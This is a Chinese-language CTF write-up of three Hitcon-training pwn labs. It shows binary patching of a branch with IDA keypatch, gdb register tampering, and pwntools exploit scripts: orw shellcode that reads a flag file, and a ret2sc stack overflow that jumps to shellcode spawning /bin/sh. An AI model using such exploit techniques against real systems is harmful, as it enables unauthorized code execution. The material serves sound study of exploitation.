继续二进制修炼,今天开始肝Hiton-training,膜着m4x,以及另一位大佬23R3F的题解蹒跚前行。
貌似第一题会比较简单,先用IDA-Pro静态分析一下:
貌似直接得到了一个能够输出flag的函数?由于这是个elf32位可执行文件所以我们需要在linux下面执行:
可以很简单就看懂逻辑,输入一个值,然后比较如果相等,得出flag。
IDA Pro – keypatch,使用keypatch插件来修改汇编代码,我们可以直接将关键的一步nop掉或者改成完全相反的操作。
例如将.text:08048722的跳转汇编指令改为jmp无条件跳转,或者是与jnz相反的jz操作。
修改为无条件跳转后需要将其保存到对应文件中:
然后去把文件挪到linux上运行试试发现并没有用,因为改为jmp后其函数直接少了一部分对flag的操作:
所以我们只能将原样本中的jnz改为jz了,改完之后函数已经成为不等则输出flag了:
运行效果:
通过gdb动态调试,并且在即将进行比较前,将 eax置为与edx相同的值即可:
然后即可得到flag。
checksec orw.bin,题目orw的意思是open,read,write这三个函数。
emmm这是我做的第一个开启了Stack保护的题目呢。
简单跑一下可以看到直接是让你输入shellcode:
放IDA pro里面看看:
细看一下orw_seccomp()函数:
prctl函数又是啥玩意儿?Prctl(用户和内核沟通的一个绝佳函数),这个函数可以对进程进行一些设置。而有一道强网杯题目就好像用了这玩意儿的技术?
输入shellcode之后应该会执行,所以这题的目的是让我们自己构造shellcode去读取flag?既然要构造shellcode,那就需要用到pwntools的asm模块和shellcraft模块:
asm模块是将操作转换为汇编命令,而shellcraft是具有各种函数对应汇编命令的一个模块,十分好用:
pwntools中的context模块又是用来干嘛的呢?
context是pwntools用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。
例如context(os='linux', arch='amd64', log_level='debug')
这句话的意思是:
os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linuxarch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。根据题意和题解?(正处于涨姿势的时候)写出exp:
#!/usr/bin/env python #coding:utf-8 from pwn import * from pwn import shellcraft as sc context.log_level = "debug" shellcode = sc.pushstr("/home/xiaoyifeng/ctf/pwn/Hiton/lab2/flag") shellcode += sc.open("esp") # open返回的文件文件描述符存贮在eax寄存器里 shellcode += sc.read("eax", "esp", 0x100) # open读取的内容放在栈顶 # write函数在栈顶读取0x100大小的内容并打印出来 shellcode += sc.write(1, "esp", 0x100) io = process("./orw.bin") #print(asm(shellcode)) io.sendlineafter("shellcode:", asm(shellcode)) print io.recvall() io.close()运行效果:
题目名是return to shellcode的简写,应该是利用return返回然后执行shellcode之类的操作?
checksec ret2sc
emmm没有开启啥保护,没有开启栈溢出检测,也没有开启栈不可执行(NX)。
跑一下发现让我们输入字符串到Name里面,还有一个try your best?首先想到的是会不会又是啥栈溢出什么的。
嗯,情况是有的:
通过gdb动态调试可以发现在输入try your best 的值的时候可以发生溢出,并且将EIP指向我们构造的位置:
而这个临界值我们可以通过pattern search来查我们构造的pattern偏移量,得到为32。根据大佬的题解了解到return to shellcode是一种题型,我甚至想到了又用ROP chain???黑人问号.jpg?。
原来return to shellcode的操作就是将shellcode写入name变量空间,然后通过返回到该地址从而执行shellcode(NX未开启,栈可执行)
该变量地址为0x804A060
这个exp需要用到shellcraft和asm,来将shellcode转为汇编指令:
#!/usr/bin/env python #coding:utf-8 from pwn import * context(os = "linux", arch = "i386",log_level="debug") io = process("./ret2sc") #获得sh的命令多种多样,并且有不同系统版本的sh #shellcode = asm(shellcraft.execve("/bin/sh")) shellcode = asm(shellcraft.i386.linux.sh()) io.sendlineafter(":", shellcode) #flat模块能将pattern字符串和地址结合并且转为字节模式 payload = flat(cyclic(32), 0x804a060) io.sendlineafter(":", payload) io.interactive() io.close()运行效果:
内容涉及 context 模式设置,asm模块,shellcraft模块,patch操作,return to shellcode题型,pwntools flat模块。
今天先混到这儿。。。我真菜?。